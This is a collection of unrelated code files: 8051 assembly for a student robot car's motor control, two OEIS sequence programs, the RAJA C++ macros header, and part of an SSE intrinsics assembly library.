; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:308: V[1]=R;
mov (_main_V_1_72 + 0x0004),_main_R_1_72
mov ((_main_V_1_72 + 0x0004) + 1),(_main_R_1_72 + 1)
mov ((_main_V_1_72 + 0x0004) + 2),(_main_R_1_72 + 2)
mov ((_main_V_1_72 + 0x0004) + 3),(_main_R_1_72 + 3)
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:303: for(z=0; z<30; z++)
inc r2
cjne r2,#0x00,L012055?
inc r3
sjmp L012055?
L012058?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:311: if (V[0] > thresholdL+0.1 && V[1] > thresholdR+0.1 )
mov a,#0x66
push acc
push acc
push acc
mov a,#0x3F
push acc
mov dpl,_main_V_1_72
mov dph,(_main_V_1_72 + 1)
mov b,(_main_V_1_72 + 2)
mov a,(_main_V_1_72 + 3)
lcall ___fsgt
mov r2,dpl
mov a,sp
add a,#0xfc
mov sp,a
mov a,r2
jz L012027?
mov a,#0x66
push acc
push acc
push acc
mov a,#0x3F
push acc
mov dpl,(_main_V_1_72 + 0x0004)
mov dph,((_main_V_1_72 + 0x0004) + 1)
mov b,((_main_V_1_72 + 0x0004) + 2)
mov a,((_main_V_1_72 + 0x0004) + 3)
lcall ___fsgt
mov r2,dpl
mov a,sp
add a,#0xfc
mov sp,a
mov a,r2
jz L012027?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:313: switchs=2;
mov _switchs,#0x02
clr a
mov (_switchs + 1),a
ljmp L012028?
L012027?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:315: else if (V[0] < thresholdL-0.2 && V[1] < thresholdR-0.2 && V[0] > 0.1 && V[1] > 0.1)
mov a,#0x9A
push acc
mov a,#0x99
push acc
mov a,#0x19
push acc
mov a,#0x3F
push acc
mov dpl,_main_V_1_72
mov dph,(_main_V_1_72 + 1)
mov b,(_main_V_1_72 + 2)
mov a,(_main_V_1_72 + 3)
lcall ___fslt
mov r2,dpl
mov a,sp
add a,#0xfc
mov sp,a
mov a,r2
jnz L012097?
ljmp L012021?
L012097?:
mov a,#0x9A
push acc
mov a,#0x99
push acc
mov a,#0x19
push acc
mov a,#0x3F
push acc
mov dpl,(_main_V_1_72 + 0x0004)
mov dph,((_main_V_1_72 + 0x0004) + 1)
mov b,((_main_V_1_72 + 0x0004) + 2)
mov a,((_main_V_1_72 + 0x0004) + 3)
lcall ___fslt
mov r2,dpl
mov a,sp
add a,#0xfc
mov sp,a
mov a,r2
jz L012021?
mov a,#0xCD
push acc
mov a,#0xCC
push acc
push acc
mov a,#0x3D
push acc
mov dpl,_main_V_1_72
mov dph,(_main_V_1_72 + 1)
mov b,(_main_V_1_72 + 2)
mov a,(_main_V_1_72 + 3)
lcall ___fsgt
mov r2,dpl
mov a,sp
add a,#0xfc
mov sp,a
mov a,r2
jz L012021?
mov a,#0xCD
push acc
mov a,#0xCC
push acc
push acc
mov a,#0x3D
push acc
mov dpl,(_main_V_1_72 + 0x0004)
mov dph,((_main_V_1_72 + 0x0004) + 1)
mov b,((_main_V_1_72 + 0x0004) + 2)
mov a,((_main_V_1_72 + 0x0004) + 3)
lcall ___fsgt
mov r2,dpl
mov a,sp
add a,#0xfc
mov sp,a
mov a,r2
jz L012021?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:317: switchs=1;
mov _switchs,#0x01
clr a
mov (_switchs + 1),a
ljmp L012028?
L012021?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:319: else if (V[1]<=0.1 && V[0]<=0.1)
mov a,#0xCD
push acc
mov a,#0xCC
push acc
push acc
mov a,#0x3D
push acc
mov dpl,(_main_V_1_72 + 0x0004)
mov dph,((_main_V_1_72 + 0x0004) + 1)
mov b,((_main_V_1_72 + 0x0004) + 2)
mov a,((_main_V_1_72 + 0x0004) + 3)
lcall ___fsgt
mov r2,dpl
mov a,sp
add a,#0xfc
mov sp,a
mov a,r2
jnz L012017?
mov a,#0xCD
push acc
mov a,#0xCC
push acc
push acc
mov a,#0x3D
push acc
mov dpl,_main_V_1_72
mov dph,(_main_V_1_72 + 1)
mov b,(_main_V_1_72 + 2)
mov a,(_main_V_1_72 + 3)
lcall ___fsgt
mov r2,dpl
mov a,sp
add a,#0xfc
mov sp,a
mov a,r2
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:321: switchs=0;
jnz L012017?
mov _switchs,a
mov (_switchs + 1),a
ljmp L012028?
L012017?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:323: else if (V[0] < thresholdL-0.2)
mov a,#0x9A
push acc
mov a,#0x99
push acc
mov a,#0x19
push acc
mov a,#0x3F
push acc
mov dpl,_main_V_1_72
mov dph,(_main_V_1_72 + 1)
mov b,(_main_V_1_72 + 2)
mov a,(_main_V_1_72 + 3)
lcall ___fslt
mov r2,dpl
mov a,sp
add a,#0xfc
mov sp,a
mov a,r2
jz L012014?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:325: switchs=3;
mov _switchs,#0x03
clr a
mov (_switchs + 1),a
ljmp L012028?
L012014?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:327: else if (V[1] < thresholdR-0.2)
mov a,#0x9A
push acc
mov a,#0x99
push acc
mov a,#0x19
push acc
mov a,#0x3F
push acc
mov dpl,(_main_V_1_72 + 0x0004)
mov dph,((_main_V_1_72 + 0x0004) + 1)
mov b,((_main_V_1_72 + 0x0004) + 2)
mov a,((_main_V_1_72 + 0x0004) + 3)
lcall ___fslt
mov r2,dpl
mov a,sp
add a,#0xfc
mov sp,a
mov a,r2
jz L012011?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:329: switchs=4;
mov _switchs,#0x04
clr a
mov (_switchs + 1),a
sjmp L012028?
L012011?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:331: else if (V[0] > thresholdL+0.2)
clr a
push acc
push acc
mov a,#0x80
push acc
mov a,#0x3F
push acc
mov dpl,_main_V_1_72
mov dph,(_main_V_1_72 + 1)
mov b,(_main_V_1_72 + 2)
mov a,(_main_V_1_72 + 3)
lcall ___fsgt
mov r2,dpl
mov a,sp
add a,#0xfc
mov sp,a
mov a,r2
jz L012008?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:333: switchs=5;
mov _switchs,#0x05
clr a
mov (_switchs + 1),a
sjmp L012028?
L012008?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:335: else if (V[1] > thresholdR+0.2)
clr a
push acc
push acc
mov a,#0x80
push acc
mov a,#0x3F
push acc
mov dpl,(_main_V_1_72 + 0x0004)
mov dph,((_main_V_1_72 + 0x0004) + 1)
mov b,((_main_V_1_72 + 0x0004) + 2)
mov a,((_main_V_1_72 + 0x0004) + 3)
lcall ___fsgt
mov r2,dpl
mov a,sp
add a,#0xfc
mov sp,a
mov a,r2
jz L012028?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:337: switchs=6;
mov _switchs,#0x06
clr a
mov (_switchs + 1),a
L012028?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:339: waitms(4);
mov dptr,#0x0004
lcall _waitms
ljmp L012031?
L012049?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:344: interrupt_switch=1;
mov _interrupt_switch,#0x01
clr a
mov (_interrupt_switch + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:345: while(1)
L012046?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:347: PWM_1 = 0;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:348: PWM_2 = 0;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:349: PWM_3 = 0;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:350: PWM_4 = 0;
clr a
mov _PWM_1,a
mov (_PWM_1 + 1),a
mov _PWM_2,a
mov (_PWM_2 + 1),a
mov _PWM_3,a
mov (_PWM_3 + 1),a
mov _PWM_4,a
mov (_PWM_4 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:351: SCON1 |= 0x01;
orl _SCON1,#0x01
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:352: C = getchar1();
lcall _getchar1
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:353: printf("char: %c\r", C);
mov a,dpl
mov r2,a
mov r3,a
rlc a
subb a,acc
mov r4,a
push ar2
push ar3
push ar4
mov a,#__str_0
push acc
mov a,#(__str_0 >> 8)
push acc
mov a,#0x80
push acc
lcall _printf
mov a,sp
add a,#0xfb
mov sp,a
pop ar2
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:355: if (C == 'F')//input the voltage value for forward )
cjne r2,#0x46,L012043?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:357: PWM_1 = 0;
clr a
mov _PWM_1,a
mov (_PWM_1 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:358: PWM_2 = 100;
mov _PWM_2,#0x64
clr a
mov (_PWM_2 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:359: PWM_3 = 0;
clr a
mov _PWM_3,a
mov (_PWM_3 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:360: PWM_4 = 100;
mov _PWM_4,#0x64
clr a
mov (_PWM_4 + 1),a
sjmp L012044?
L012043?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:362: else if (C == 'B')// for backward
cjne r2,#0x42,L012040?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:364: PWM_1 = 100;
mov _PWM_1,#0x64
clr a
mov (_PWM_1 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:365: PWM_2 = 0;
clr a
mov _PWM_2,a
mov (_PWM_2 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:366: PWM_3 = 100;
mov _PWM_3,#0x64
clr a
mov (_PWM_3 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:367: PWM_4 = 0;
clr a
mov _PWM_4,a
mov (_PWM_4 + 1),a
sjmp L012044?
L012040?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:369: else if (C == 'R')//turn right
cjne r2,#0x52,L012037?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:371: PWM_1 = 0;
clr a
mov _PWM_1,a
mov (_PWM_1 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:372: PWM_2 = 100;
mov _PWM_2,#0x64
clr a
mov (_PWM_2 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:373: PWM_3 = 50;
mov _PWM_3,#0x32
clr a
mov (_PWM_3 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:374: PWM_4 = 0;
clr a
mov _PWM_4,a
mov (_PWM_4 + 1),a
sjmp L012044?
L012037?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:377: else if (C == 'L')//turn left
cjne r2,#0x4C,L012034?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:379: PWM_1 = 50;
mov _PWM_1,#0x32
clr a
mov (_PWM_1 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:380: PWM_2 = 0;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:381: PWM_3 = 0;
clr a
mov _PWM_2,a
mov (_PWM_2 + 1),a
mov _PWM_3,a
mov (_PWM_3 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:382: PWM_4 = 100;
mov _PWM_4,#0x64
clr a
mov (_PWM_4 + 1),a
sjmp L012044?
L012034?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:387: PWM_1 = 0;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:388: PWM_2 = 0;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:389: PWM_3 = 0;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:390: PWM_4 = 0;
clr a
mov _PWM_1,a
mov (_PWM_1 + 1),a
mov _PWM_2,a
mov (_PWM_2 + 1),a
mov _PWM_3,a
mov (_PWM_3 + 1),a
mov _PWM_4,a
mov (_PWM_4 + 1),a
L012044?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:392: waitms(5);
mov dptr,#0x0005
lcall _waitms
ljmp L012046?
rseg R_CSEG
rseg R_XINIT
rseg R_CONST
__str_0:
db 'char: %c'
db 0x0D
db 0x00
CSEG
end
|
; A097297: Seventh column (m=6) of (1,6)-Pascal triangle A096956.
; 6,37,133,364,840,1722,3234,5676,9438,15015,23023,34216,49504,69972,96900,131784,176358,232617,302841,389620,495880,624910,780390,966420,1187550,1448811,1755747,2114448,2531584,3014440,3570952,4209744
mov $1,37
add $1,$0
mov $2,5
add $2,$0
bin $2,5
mul $1,$2
sub $1,$2
sub $1,36
div $1,6
add $1,6
|
; A083028: Numbers that are congruent to {0, 2, 3, 5, 7, 8, 11} mod 12.
; 0,2,3,5,7,8,11,12,14,15,17,19,20,23,24,26,27,29,31,32,35,36,38,39,41,43,44,47,48,50,51,53,55,56,59,60,62,63,65,67,68,71,72,74,75,77,79,80,83,84,86,87,89,91,92,95,96,98,99,101,103,104,107,108,110,111
mul $0,4
mov $1,2
mov $2,2
lpb $0,1
trn $0,2
add $0,1
add $1,$0
trn $0,3
trn $2,1
add $0,$2
sub $1,$0
trn $0,3
lpe
sub $1,2
|
/*!
******************************************************************************
*
* \file
*
* \brief Header file for common RAJA internal macro definitions.
*
******************************************************************************
*/
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
// Copyright (c) 2016-21, Lawrence Livermore National Security, LLC
// and RAJA project contributors. See the RAJA/COPYRIGHT file for details.
//
// SPDX-License-Identifier: (BSD-3-Clause)
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
#ifndef RAJA_INTERNAL_MACROS_HPP
#define RAJA_INTERNAL_MACROS_HPP
#include "RAJA/config.hpp"
#include <cstdlib>
#include <stdexcept>
#if defined(RAJA_ENABLE_HIP)
#include <hip/hip_runtime.h>
#endif
//
// Macros for decorating host/device functions for CUDA and HIP kernels.
// We need a better solution than this as it is a pain to manage
// this stuff in an application.
//
#if (defined(RAJA_ENABLE_CUDA) && defined(__CUDA_ARCH__)) \
|| (defined(RAJA_ENABLE_HIP) && defined(__HIP_DEVICE_COMPILE__))
#define RAJA_DEVICE_CODE
#endif
#if defined(RAJA_ENABLE_CUDA) && defined(__CUDACC__)
#define RAJA_HOST_DEVICE __host__ __device__
#define RAJA_DEVICE __device__
#if defined(RAJA_ENABLE_CLANG_CUDA)
#define RAJA_SUPPRESS_HD_WARN
#else
#define RAJA_SUPPRESS_HD_WARN RAJA_PRAGMA(nv_exec_check_disable)
#endif
#elif defined(RAJA_ENABLE_HIP) && defined(__HIPCC__)
#define RAJA_HOST_DEVICE __host__ __device__
#define RAJA_DEVICE __device__
#define RAJA_SUPPRESS_HD_WARN
#else
#define RAJA_HOST_DEVICE
#define RAJA_DEVICE
#define RAJA_SUPPRESS_HD_WARN
#endif
/*!
*******************************************************************************
* \def RAJA_USED_ARG(x)
*
* \brief Macro for silencing compiler warnings in methods with unused
* arguments.
*
* \note The intent is to use this macro in the function signature. For example:
*
* \code
*
* void my_function(int x, int RAJA_UNUSED_ARG(y))
* {
* // my implementation that doesn't use 'y'
* }
*
* \endcode
*******************************************************************************
*/
#define RAJA_UNUSED_ARG(x)
/*!
*******************************************************************************
* \def RAJA_UNUSED_VAR(x)
*
* \brief Macro used to silence compiler warnings about variables
* that are defined but not used.
*
* \iote The intent is to use this macro for variables that are only used
* for debugging purposes (e.g. in debug assertions). For example:
*
* \code
*
* double myVar = ...
*
* cassert(myVar > 0) // variable used in assertion that may be compiled out
* RAJA_UNUSED_VAR(myVar);
*
* \endcode
*******************************************************************************
*/
template <typename... T>
RAJA_HOST_DEVICE RAJA_INLINE void RAJA_UNUSED_VAR(T &&...) noexcept
{
}
/*!
* \def RAJA_STRINGIFY_HELPER(x)
*
* Helper for RAJA_STRINGIFY_MACRO
*/
#define RAJA_STRINGIFY_HELPER(x) #x
/*!
* \def RAJA_STRINGIFY_MACRO(x)
*
* Used in static_assert macros to print values of defines
*/
#define RAJA_STRINGIFY_MACRO(x) RAJA_STRINGIFY_HELPER(x)
#define RAJA_DIVIDE_CEILING_INT(dividend, divisor) \
(((dividend) + (divisor)-1) / (divisor))
RAJA_HOST_DEVICE
inline void RAJA_ABORT_OR_THROW(const char *str)
{
#if defined(__CUDA_ARCH__)
asm ("trap;");
#elif defined(__HIP_DEVICE_COMPILE__)
abort();
#else
#ifdef RAJA_COMPILER_MSVC
char *value;
size_t len;
bool no_except = false;
if(_dupenv_s(&value, &len, "RAJA_NO_EXCEPT") == 0 && value != nullptr){
no_except = true;
free(value);
}
#else
bool no_except = std::getenv("RAJA_NO_EXCEPT") != nullptr;
#endif
if (no_except) {
std::abort();
} else {
throw std::runtime_error(str);
}
#endif
}
//! Macros for marking deprecated features in RAJA
/*!
* To deprecate a function, place immediately before the return type
* To deprecate a member of a class or struct, place immediately before the
* declaration
* To deprecate a typedef, place immediately before the declaration.
* To deprecate a struct or class, place immediately after the 'struct'/'class'
* keyword
*/
#if (__cplusplus >= 201402L)
#define RAJA_HAS_CXX14 1
#define RAJA_HAS_CXX_ATTRIBUTE_DEPRECATED 1
#elif defined(__has_cpp_attribute)
#if __has_cpp_attribute(deprecated)
#define RAJA_HAS_CXX_ATTRIBUTE_DEPRECATED 1
#endif
#endif
#if defined(RAJA_HAS_CXX_ATTRIBUTE_DEPRECATED)
// When using a C++14 compiler, use the standard-specified deprecated attribute
#define RAJA_DEPRECATE(Msg) [[deprecated(Msg)]]
#define RAJA_DEPRECATE_ALIAS(Msg) [[deprecated(Msg)]]
#elif defined(_MSC_VER)
// for MSVC, use __declspec
#define RAJA_DEPRECATE(Msg) __declspec(deprecated(Msg))
#define RAJA_DEPRECATE_ALIAS(Msg)
#else
// else use __attribute__(deprecated("Message"))
#define RAJA_DEPRECATE(Msg) __attribute__((deprecated(Msg)))
#define RAJA_DEPRECATE_ALIAS(Msg)
#endif
#endif /* RAJA_INTERNAL_MACROS_HPP */
|
; / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / /
; / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / /
; / / / /
; / / Copyright 2021 (c) Navegos QA - optimized library / /
; / / / /
; / / Licensed under the Apache License, Version 2.0 (the "License"); / /
; / / you may not use this file except in compliance with the License. / /
; / / You may obtain a copy of the License at / /
; / / / /
; / / http://www.apache.org/licenses/LICENSE-2.0 / /
; / / / /
; / / Unless required by applicable law or agreed to in writing, software / /
; / / distributed under the License is distributed on an "AS IS" BASIS, / /
; / / WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. / /
; / / See the License for the specific language governing permissions and / /
; / / limitations under the License. / /
; / / / /
; / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / /
; / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / /
option casemap:none
include macrolib.inc
include uXasm.inc
ifndef __MIC__
.xmm
option arch:sse
option evex:0
alignstackfieldproc
.data?
.data
.const
_m128cvteltfltjmptable label size_t
isize_t _m128cvteltflt_0, _m128cvteltflt_1, _m128cvteltflt_2, _m128cvteltflt_3
_m128seteltpsjmptable label size_t
isize_t _m128seteltps_0, _m128seteltps_1, _m128seteltps_2, _m128seteltps_3
_m128prefetchjmptable label size_t
isize_t _m128prefetch_0, _m128prefetch_1, _m128prefetch_2, _m128prefetch_3
ifdef __x32__
_m64pextrwjmptable label size_t
isize_t _m64pextrw_0, _m64pextrw_1, _m64pextrw_2, _m64pextrw_3
_m64pinsrwjmptable label size_t
isize_t _m64pinsrw_0, _m64pinsrw_1, _m64pinsrw_2, _m64pinsrw_3
endif ;!__x32__
externdef __m128_true:__m128i
externdef __m128_false:__m128i
externdef __m128_0:__m128f
externdef __m128_sign:__m128i
externdef __m128_0e_true:__m128i
externdef __m128_0e_false:__m128i
externdef __m128_0e_0:__m128f
externdef __m128_0e_sign:__m128i
.code
callconvopt
alignxmmfieldproc
;ifdef __x32__
;externdef intrin_has_SSE2:byte
;endif
;******************
; Externs
;******************
;extern uXveccall _uX_intrin_CPUFeatures:proc
;************************************
; FP, arithmetic
;************************************
procstart _uX_mm_add_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
addss xmm0, xmm1
ret
procend
procstart _uX_mm_add_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
addps xmm0, xmm1
ret
procend
procstart _uX_mm_sub_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
subss xmm0, xmm1
ret
procend
procstart _uX_mm_sub_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
subps xmm0, xmm1
ret
procend
procstart _uX_mm_mul_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
mulss xmm0, xmm1
ret
procend
procstart _uX_mm_mul_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
mulps xmm0, xmm1
ret
procend
procstart _uX_mm_div_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
divss xmm0, xmm1
ret
procend
procstart _uX_mm_div_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
divps xmm0, xmm1
ret
procend
procstart _uX_mm_scale_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inreal8_B:real8
mulss xmm0, xmm1
ret
procend
procstart _uX_mm_scale_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inreal8_B:real8
shufps xmm1, xmm1, 0
mulps xmm0, xmm1
ret
procend
procstart _uX_mm_square_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword
mulss xmm0, xmm0
ret
procend
procstart _uX_mm_square_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword
mulps xmm0, xmm0
ret
procend
procstart _uX_mm_sqrt_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword
sqrtss xmm0, xmm0
ret
procend
procstart _uX_mm_sqrt_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword
sqrtps xmm0, xmm0
ret
procend
procstart _uX_mm_rcp_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword
rcpss xmm0, xmm0
ret
procend
procstart _uX_mm_rcp_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword
rcpps xmm0, xmm0
ret
procend
procstart _uX_mm_rsqrt_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword
rsqrtss xmm0, xmm0
ret
procend
procstart _uX_mm_rsqrt_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword
rsqrtps xmm0, xmm0
ret
procend
procstart _uX_mm_min_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
minss xmm0, xmm1
ret
procend
procstart _uX_mm_min_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
minps xmm0, xmm1
ret
procend
procstart _uX_mm_max_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
maxss xmm0, xmm1
ret
procend
procstart _uX_mm_max_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
maxps xmm0, xmm1
ret
procend
;******************
; FP, logical
;******************
procstart _uX_mm_and_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
andps xmm0, xmm1
ret
procend
procstart _uX_mm_andnot_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
andnps xmm0, xmm1
ret
procend
procstart _uX_mm_or_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
orps xmm0, xmm1
ret
procend
procstart _uX_mm_xor_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xorps xmm0, xmm1
ret
procend
procstart _uX_mm_not_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword
movaps xmm1, __m128_true
xorps xmm0, xmm1
ret
procend
procstart _uX_mm_negate_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword
movaps xmm1, __m128_sign
xorps xmm0, xmm1
ret
procend
procstart _uX_mm_and_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
andps xmm0, xmm1
ret
procend
procstart _uX_mm_andnot_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
andnps xmm0, xmm1
ret
procend
procstart _uX_mm_or_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
orps xmm0, xmm1
ret
procend
procstart _uX_mm_xor_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xorps xmm0, xmm1
ret
procend
procstart _uX_mm_not_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword
movaps xmm1, __m128_0e_true
xorps xmm0, xmm1
ret
procend
procstart _uX_mm_negate_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword
movaps xmm1, __m128_0e_sign
xorps xmm0, xmm1
ret
procend
ifdef __unix32__
rpdcmp textequ <ecx>
else
rpdcmp textequ <rp0()>
endif
procstart _uX_mm_iand_ps, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
andps xmm0, xmm1
movmskps rpdcmp, xmm0
cmp rpdcmp, 0xf
cmove rret(), true
ret
procend
procstart _uX_mm_iandnot_ps, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
andnps xmm0, xmm1
movmskps rpdcmp, xmm0
cmp rpdcmp, 0xf
cmove rret(), true
ret
procend
procstart _uX_mm_ior_ps, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
orps xmm0, xmm1
movmskps rpdcmp, xmm0
cmp rpdcmp, 0x0
cmovne rret(), true
ret
procend
procstart _uX_mm_inot_ps, callconv, dword, < >, < >, Inxmm_A:xmmword
xor rret(), rret()
movaps xmm1, __m128_false
cmpps xmm0, xmm1, CMPP_EQ
movmskps rpdcmp, xmm0
cmp rpdcmp, 0xf
cmove rret(), true
ret
procend
procstart _uX_mm_iand_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
andps xmm0, xmm1
movmskps rpdcmp, xmm0
and rpdcmp, 0x1
cmp rpdcmp, 0x1
cmove rret(), true
ret
procend
procstart _uX_mm_iandnot_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
andnps xmm0, xmm1
movmskps rpdcmp, xmm0
and rpdcmp, 0x1
cmp rpdcmp, 0x1
cmove rret(), true
ret
procend
procstart _uX_mm_ior_ss, callconv, dword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
xor rret(), rret()
orps xmm0, xmm1
movmskps rpdcmp, xmm0
and rpdcmp, 0x1
cmp rpdcmp, 0x0
cmovne rret(), true
ret
procend
procstart _uX_mm_inot_ss, callconv, dword, < >, < >, Inxmm_A:xmmword
xor rret(), rret()
movaps xmm1, __m128_0e_false
cmpss xmm0, xmm1, CMPP_EQ
movmskps rpdcmp, xmm0
and rpdcmp, 0x1
cmp rpdcmp, 0x1
cmove rret(), true
ret
procend
procstart _uX_mm_ihand_ps, callconv, dword, < >, < >, Inxmm_A:xmmword
xor rret(), rret()
;andps xmm0, xmm0
movmskps rpdcmp, xmm0
cmp rpdcmp, 0xf
cmove rret(), true
ret
procend
procstart _uX_mm_ihor_ps, callconv, dword, < >, < >, Inxmm_A:xmmword
xor rret(), rret()
;orps xmm0, xmm0
movmskps rpdcmp, xmm0
cmp rpdcmp, 0x0
cmovne rret(), true
ret
procend
;******************
; FP, comparison
;******************
procstart _uX_mm_cmpeq_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpss xmm0, xmm1, CMPP_EQ
ret
procend
procstart _uX_mm_cmpeq_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpps xmm0, xmm1, CMPP_EQ
ret
procend
procstart _uX_mm_cmplt_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpss xmm0, xmm1, CMPP_LT
ret
procend
procstart _uX_mm_cmplt_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpps xmm0, xmm1, CMPP_LT
ret
procend
procstart _uX_mm_cmple_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
cmpss xmm0, xmm1, CMPP_LE
ret
procend
